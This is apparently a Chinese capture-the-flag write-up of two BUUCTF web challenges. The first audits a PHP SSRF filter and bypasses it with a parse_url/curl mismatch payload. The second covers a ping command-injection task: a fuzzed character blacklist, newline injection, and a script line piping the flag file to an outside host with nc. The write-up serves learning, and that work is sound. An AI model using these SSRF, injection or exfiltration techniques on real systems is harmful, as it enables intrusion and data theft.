题目内容素材来自BUUCTF,若需转载请注明出处,本篇文章仅供学习,有任何问题请联系作者:点击链接联系我

1.[第二章 web进阶]SSRF Training

题目环境
这界面也太用心了!!!学习学习
1.点击interesting challenge显示源码

<?php 
highlight_file(__FILE__);
function check_inner_ip($url) 
{ 
    $match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url); 
    if (!$match_result) 
    { 
        die('url fomat error'); 
    } 
    try 
    { 
        $url_parse=parse_url($url); 
    } 
    catch(Exception $e) 
    { 
        die('url fomat error'); 
        return false; 
    } 
    $hostname=$url_parse['host']; 
    $ip=gethostbyname($hostname); 
    $int_ip=ip2long($ip); 
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16; 
} 

function safe_request_url($url) 
{ 
     
    if (check_inner_ip($url)) 
    { 
        echo $url.' is inner ip'; 
    } 
    else 
    {
        $ch = curl_init(); 
        curl_setopt($ch, CURLOPT_URL, $url); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
        curl_setopt($ch, CURLOPT_HEADER, 0); 
        $output = curl_exec($ch); 
        $result_info = curl_getinfo($ch); 
        if ($result_info['redirect_url']) 
        { 
            safe_request_url($result_info['redirect_url']); 
        } 
        curl_close($ch); 
        var_dump($output); 
    } 
     
} 

$url = $_GET['url']; 
if(!empty($url)){ 
    safe_request_url($url); 
} 

?>

2.审计源代码

$url = $_GET['url']; 
if(!empty($url)){ 
    safe_request_url($url); 
} 

这段代码相当于main()函数,通过GET传参方式传入url赋值给$url,检测url是否为空,不为空则执行safe_request_url函数
3.代码溯源
若不空则执行函数afe_request_url(),那我们去看看这个函数

function safe_request_url($url) 
{ 
     
    if (check_inner_ip($url)) 
    { 
        echo $url.' is inner ip'; 
    } 
    else 
    {
        $ch = curl_init(); 
        curl_setopt($ch, CURLOPT_URL, $url); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
        curl_setopt($ch, CURLOPT_HEADER, 0); 
        $output = curl_exec($ch); 
        $result_info = curl_getinfo($ch); 
        if ($result_info['redirect_url']) 
        { 
            safe_request_url($result_info['redirect_url']); 
        } 
        curl_close($ch); 
        var_dump($output); 
    } 
     
} 

safe_request_url函数在一开始就有个通过check_inner_ip($url)进行校验的判断,又调用了新的函数,再去看看

function check_inner_ip($url) 
{ 
    $match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url); 
    //首先preg_match正则匹配,检查传入的url是否是url格式
    //如果是url格式,则继续执行safe_request_url
    if (!$match_result) 
    { 
        die('url fomat error'); 
    } 
    try 
    { 
        $url_parse=parse_url($url); 
    } 
    catch(Exception $e) 
    { 
        die('url fomat error'); 
        return false; 
    } 
    $hostname=$url_parse['host']; 
    $ip=gethostbyname($hostname); 
    $int_ip=ip2long($ip); 
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24
     == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long
    ('192.168.0.0')>>16 == $int_ip>>16; 
}   

关于题目中用到的一些方法:

curl_init — 初始化一个cURL会话
curl_exec — 执行一个cURL会话
curl_getinfo — 获取一个cURL连接资源句柄的信息
curl_close — 关闭一个cURL会话

关于curl_setopt — 设置一个cURL传输选项
实例
curl部分大致功能就是初始化,然后获取一个网页

    if ($result_info['redirect_url']) 
    { 
        safe_request_url($result_info['redirect_url']); 
    } 

这个if的作用就是如果没有获取到信息,就重复获取,重复执行safe_request_url函数
最后把exec后的数据dump出来
var_dump($output);
之后就出函数了
接下来将parse_url后的url赋值给$url_parse

 try 
    { 
        $url_parse=parse_url($url); 
    } 
    catch(Exception $e) 
    { 
        die('url fomat error'); 
        return false; 
    } 

如果parse_url执行失败,则返回false
parse_url会将url分成6个部分:

[scheme] => http
[host] => hostname
[user] => username
[pass] => password
[path] => /path
[query] => arg=value
[fragment] => anchor

接下来,是一个赋值过程:

$hostname=$url_parse['host']; 
$ip=gethostbyname($hostname); 
$int_ip=ip2long($ip); 

hostname得到的是前面url_parse分离出来的host部分
ip 得到的是将hostname转换为ip地址后的数值(就是把url转成ip地址)
int_ip得到的是经过计算后的纯数字形式的ip地址,然后是一个return

绕过
我们最终的目的是要curl 127.0.0.1/flag然后得到dump出来的数据
那么该怎么绕过这两重检测呢
直接传入http://a:@127.0.0.1:80@baidu.com/flag.php
payload:

http://f123eaa8-50ea-4a36-837b-6ae2f5b8c609.node4.buuoj.cn:81/
challenge.php/?url=http://a:@127.0.0.1:80@baidu.com/flag.php

其中flag.php是在界面给的提示
这个payload的作用就是,让检测到的url和curl请求的url不一致
这个payload传入后:
safe_request_url检测之后 parse_url取到的host是baidu.com
而真正curl的确是127.0.0.1/flag
拿到flag
<!--这里有点凌乱,现在是凌晨了,肝不动了,我先睡了-->

2.[第二章 web进阶]死亡ping命令

1.准备工作:
Basic第一题 Linux Labs
注意⚠️:这里之所以开这道题环境是因为这里需要一个公网服务器的IP,这里自己有服务器的可以直接用,但是并不是每个人都有自己的服务器,我们就白嫖BUU的服务器了
2.使用ssh命令连接
ssh连接

终端上输入:
ssh -p 28044 root@node4.buuoj.cn
密码是:123456

(这道题没做出来的先做了,如果这题不会的话,建议先别碰这道题,难度较大)
这里是我的Basic/Linux Labs的解题WP:Linux Labs
3.查看本机公网IP(也就是Linux Labs这道题的公网IP)
公网IP
4.开始解题
开环境
题目环境
5.存在一些黑名单过滤的,被拦截时候显示IP包含恶意字符,那我们先把这些字符找出来,这样后面就能更顺利。
127.0.0.1

反馈结果包括以下三种:
IP Ping 成功.
IP Ping 失败.
IP包含恶意字符.

6.(及利用fuzz的方式)所以知道能够知道过滤了以下字符:

["$", "{", "}", "`", ";", "&", "|", "(", ")", "\"", "'",
 "~", "!", "@", "#", "%", "^", "*", "[", "]", "\\", ":", "-", "_"];

7.通过%0a能够注入新的一条命令进行执行

ip=127.0.0.1%0als

源码提示

  1. /ping.php下使用POST请求:
    Burp Suite操作如图

直接Ping通
由于docker是没有bash或python程序的,并且sh反弹是不行的。
9.目前是能通过折中的方式执行任意命令
(1).编写1.sh,内容如下:
ls
cat /FLAG | nc 这里写你BUU开服务器题目的IP 8089
(2)终端操作:
新开了一个环境
由于我一边解题一边写WP,时间可能长了,给我关了,大家一定要手速快一边过
(3)请求bash文件到tmp目录
应该是操作成功了

最后修改:2021 年 10 月 18 日 11 : 42 PM
如果觉得这篇文章不错,不妨赏我碎银几两。